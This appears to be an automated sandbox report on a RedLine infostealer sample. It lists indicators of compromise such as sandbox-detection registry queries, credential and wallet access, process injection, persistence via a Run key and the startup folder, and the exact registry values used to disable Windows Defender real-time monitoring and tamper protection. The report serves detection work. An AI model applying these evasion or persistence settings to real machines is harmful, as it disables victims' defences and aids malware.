redline | 9bd142ecfe89857de80bb3255a1655f680ca6451b45cca235096dc1c1285e806

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3mlVFbxNQUHro2vr4i7_r39F.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3mlVFbxNQUHro2vr4i7_r39F.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9QCLebCBwfOGsFtoeWcnmQ6L.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1011117.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	NGsyXdVeWanAc0BteC5lTBNQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	NGsyXdVeWanAc0BteC5lTBNQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wRI7TsmDln2jJ9rSQTbwnVME.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	wRI7TsmDln2jJ9rSQTbwnVME.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1011117.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4iPdEuZunDzyXSeMKj9mspGT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3004754.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3004754.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4988956.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4988956.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9QCLebCBwfOGsFtoeWcnmQ6L.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	23C2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	23C2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4iPdEuZunDzyXSeMKj9mspGT.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe	OnnbJbZ5pchAYdaTwFNLHw36.exe

Loads dropped DLL 9 IoCs

pid	Process
932	setup_install.exe
932	setup_install.exe
932	setup_install.exe
932	setup_install.exe
932	setup_install.exe
932	setup_install.exe
5616	rundll32.exe
5604	rundll32.exe
5452	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x0007000000000326-319.dat	themida

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\Adobe Films\BJTgcaWBDihNFfYPZb3riUwD.exe = "0"	BJTgcaWBDihNFfYPZb3riUwD.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	BJTgcaWBDihNFfYPZb3riUwD.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	BJTgcaWBDihNFfYPZb3riUwD.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	BJTgcaWBDihNFfYPZb3riUwD.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	BJTgcaWBDihNFfYPZb3riUwD.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	BJTgcaWBDihNFfYPZb3riUwD.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	BJTgcaWBDihNFfYPZb3riUwD.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	BJTgcaWBDihNFfYPZb3riUwD.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	BJTgcaWBDihNFfYPZb3riUwD.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	BJTgcaWBDihNFfYPZb3riUwD.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	2524259.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 9 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3004754.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wRI7TsmDln2jJ9rSQTbwnVME.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4988956.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	NGsyXdVeWanAc0BteC5lTBNQ.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3mlVFbxNQUHro2vr4i7_r39F.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	9QCLebCBwfOGsFtoeWcnmQ6L.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1011117.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	23C2.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4iPdEuZunDzyXSeMKj9mspGT.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
44	ipinfo.io
55	ipinfo.io
44	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 39 IoCs

pid	Process
5780	3004754.scr
5600	3mlVFbxNQUHro2vr4i7_r39F.exe
5568	9QCLebCBwfOGsFtoeWcnmQ6L.exe
4044	wRI7TsmDln2jJ9rSQTbwnVME.exe
1904	4988956.scr
5284	1011117.scr
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
4476	3YbLemIoqe3uurTYdVcLylRr.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5668	BJTgcaWBDihNFfYPZb3riUwD.exe
5372	NGsyXdVeWanAc0BteC5lTBNQ.exe
4072	23C2.exe
4516	4iPdEuZunDzyXSeMKj9mspGT.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2068 set thread context of 2748	2068	Sun159ff1acacf.exe	124
PID 5624 set thread context of 4328	5624	luU0_5DplmXzND2h2sA9vflS.exe	169
PID 5588 set thread context of 1784	5588	_m0efJKN5GF8A2EmOOQo35rG.exe	218
PID 4476 set thread context of 5488	4476	3YbLemIoqe3uurTYdVcLylRr.exe	219
PID 5668 set thread context of 2400	5668	BJTgcaWBDihNFfYPZb3riUwD.exe	238
PID 3212 set thread context of 6020	3212	8BB6.exe	245

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst3.exe	dhFhEMtMmMVBc81_f9AF5JGm.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	dhFhEMtMmMVBc81_f9AF5JGm.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	dhFhEMtMmMVBc81_f9AF5JGm.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	dhFhEMtMmMVBc81_f9AF5JGm.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe	dhFhEMtMmMVBc81_f9AF5JGm.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\System\svchost.exe	MjpFiZVjH.exe
File created	C:\Windows\System\xxx1.bak	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File created	C:\Windows\System\xxx1.bak	MjpFiZVjH.exe
File created	C:\Windows\System\svchost.exe	MjpFiZVjH.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 19 IoCs

pid	pid_target	Process	procid_target
5136	3180	WerFault.exe	113
5300	2600	WerFault.exe	120
5260	2276	WerFault.exe	119
2556	1436	WerFault.exe	116
5844	5616	WerFault.exe	141
3148	1008	WerFault.exe	109
4112	2188	WerFault.exe	153
832	5720	WerFault.exe	164
2900	856	WerFault.exe	157
5236	2428	WerFault.exe	193
2848	4476	WerFault.exe	178
5212	5476	WerFault.exe	156
2324	5620	WerFault.exe	183
2160	5560	WerFault.exe	177
5024	5668	WerFault.exe	184
3524	5368	WerFault.exe	261
4804	3944	WerFault.exe	264
1284	5400	WerFault.exe	269
3176	5340	WerFault.exe	280

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	8BB6.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	8BB6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	luU0_5DplmXzND2h2sA9vflS.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	luU0_5DplmXzND2h2sA9vflS.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	luU0_5DplmXzND2h2sA9vflS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	8BB6.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	netsh.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3924	schtasks.exe

Enumerates system info in registry 2 TTPs 38 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	netsh.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	netsh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	netsh.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5540	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
